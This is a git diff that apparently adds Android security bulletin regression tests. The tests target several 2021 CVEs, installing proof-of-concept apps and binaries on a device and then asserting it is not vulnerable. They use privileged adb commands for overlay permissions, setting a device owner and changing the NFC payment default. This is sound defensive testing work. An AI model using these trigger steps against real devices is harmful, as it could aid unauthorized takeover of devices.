-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test {
@Test
public void testPocCVE_2021_0965() throws Exception {
installPackage(TEST_APP, new String[0]);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
- String errorLog = "Vulnerable to b/194300867 !!";
- String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
- Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
- assertFalse(pattern.matcher(logcat).find());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
new file mode 100644
index 00000000000..3b12ce5a926
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-39626.apk";
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @AsbSecurityTest(cveBugId = 194695497)
+ @Test
+ public void testPocCVE_2021_39626() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(TEST_APP, "-t");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 00000000000..6cac004b175
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+ /**
+ * b/203938029
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libandroidfw (As per AOSP code)
+ * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 203938029)
+ @Test
+ public void testPocCVE_2021_39664() throws Exception {
+ String inputFiles[] = {"cve_2021_39664"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39664";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+ "android::LoadedPackage::Load"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 00000000000..519bd242f6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
+ /**
+ * b/204077881
+ * Vulnerability Behavior: SIGSEGV in self
+ * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+ * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 204077881)
+ @Test
+ public void testPocCVE_2021_39665() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39665";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+ "android::AAVCAssembler::checkSpsUpdated"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
new file mode 100644
index 00000000000..8f12b522fad
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39675 extends SecurityTestCase {
+
+ /**
+ * b/205729183
+ * Vulnerability Behavior: EXIT_VULNERABLE (113)
+ */
+ @AsbSecurityTest(cveBugId = 205729183)
+ @Test
+ public void testPocCVE_2021_39675() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+ AdbUtils.TIMEOUT_SEC);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 00000000000..444f1a55a60
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 209611539)
+ @Test
+ public void testPocCVE_2021_39692() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39692";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39692.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 00000000000..acc6a2ed00f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+ /**
+ * b/201645790
+ * This test is related to
+ * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+ */
+ @AsbSecurityTest(cveBugId = 201645790)
+ @Test
+ public void testPocCVE_2021_39700() throws Exception {
+ ITestDevice device = getDevice();
+ assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+ String procUdp6File = "/proc/net/udp6";
+ File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+ assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+ tempFile.deleteOnExit();
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 00000000000..d92af4d40f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-39702.apk";
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 205150380)
+ @Test
+ public void testPocCVE_2021_39702() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
new file mode 100644
index 00000000000..e2d88bdea1f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+ public static final int USER_ID = 0;
+ static final String TEST_APP = "CVE-2021-39706.apk";
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
+
+ @After
+ public void tearDown() throws Exception {
+ // Remove Device Admin Component
+ AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
+ + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
+ }
+
+ @AsbSecurityTest(cveBugId = 200164168)
+ @Test
+ public void testPocCVE_2021_39706() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP, "-t");
+ // Set Device Admin Component
+ AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
+ + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
new file mode 100644
index 00000000000..0ae1efa8e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase {
+
+ static final String TEST_APP = "CVE-2021-39794-test.apk";
+ static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
+
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test";
+ static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver";
+
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ /**
+ * b/205836329
+ */
+ @AsbSecurityTest(cveBugId = 205836329)
+ @Test
+ public void testPocCVE_2021_39794() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ uninstallPackage(device, RECEIVER_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(RECEIVER_APP);
+ AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device);
+
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
new file mode 100644
index 00000000000..f90cae0c295
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+ static final int USER_ID = 0;
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-39796.apk";
+ static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk";
+ static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful";
+
+ @AsbSecurityTest(cveBugId = 205595291)
+ @Test
+ public void testPocCVE_2021_39796() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(HARMFUL_APP);
+ /* Set the harmful app as harmful */
+ AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device);
+
+ installPackage(TEST_APP);
+
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
new file mode 100644
index 00000000000..1c1b246b0e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39804 extends SecurityTestCase {
+
+ /**
+ * b/215002587
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libheif (As per AOSP code)
+ * Vulnerable Function: reinit (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 215002587)
+ @Test
+ public void testPocCVE_2021_39804() throws Exception {
+ String inputFiles[] = {"cve_2021_39804.heif"};
+ String binaryName = "CVE-2021-39804";
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+ new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
new file mode 100644
index 00000000000..f9520824b26
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 212610736)
+ @Test
+ public void testPocCVE_2021_39810() {
+ try {
+ // clearing default payment app component if already set
+ AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+ getDevice());
+ installPackage("CVE-2021-39810.apk");
+ String defaultComponent = AdbUtils.runCommandLine(
+ "settings get secure nfc_payment_default_component", getDevice());
+ AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+ getDevice());
+ assertFalse("Vulnerable to 212610736! Setting default payment app without user consent",
+ defaultComponent.contains("PocService"));
+ } catch (Exception e) {
+ // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine()
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d6de6..d7a3afc7a6d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@ package android.security.cts;
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
import static org.hamcrest.core.Is.is;
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
private static final String LOG_TAG = "SecurityTestCase";
private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
// account for the poc timer of 5 minutes (+15 seconds for safety)
protected static final int TIMEOUT_NONDETERMINISTIC = 315;
- private long kernelStartTime;
+ private long kernelStartTime = -1;
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
getDevice().waitForDeviceAvailable(30 * 1000);
}
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ if (kernelStartTime != -1) {
+ // only fail when the kernel start time is valid
+ long deviceTime = getDeviceUptime() + kernelStartTime;
+ long hostTime = System.currentTimeMillis() / 1000;
+ assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ kernelStartTime = -1;
+ }
// TODO(badash@): add ability to catch runtime restart
}
@@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
"/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
"/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*" };
